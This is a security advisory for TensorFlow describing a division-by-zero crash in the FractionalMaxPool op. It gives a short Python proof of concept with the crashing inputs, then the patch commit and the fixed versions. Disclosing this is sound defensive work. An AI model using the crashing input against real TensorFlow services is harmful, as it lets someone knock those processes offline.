Division by zero in Tensorflow

Impact

The implementation of FractionalMaxPool can be made to crash a TensorFlow process via a division by 0:

import tensorflow as tf
import numpy as np

tf.raw_ops.FractionalMaxPool(
  value=tf.constant(value=[[[[1, 4, 2, 3]]]], dtype=tf.int64),
  pooling_ratio=[1.0, 1.44, 1.73, 1.0],
  pseudo_random=False,
  overlapping=False,
  deterministic=False,
  seed=0,
  seed2=0,
  name=None)

Patches

We have patched the issue in GitHub commit ba4e8ac4dc2991e350d5cc407f8598c8d4ee70fb.

The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
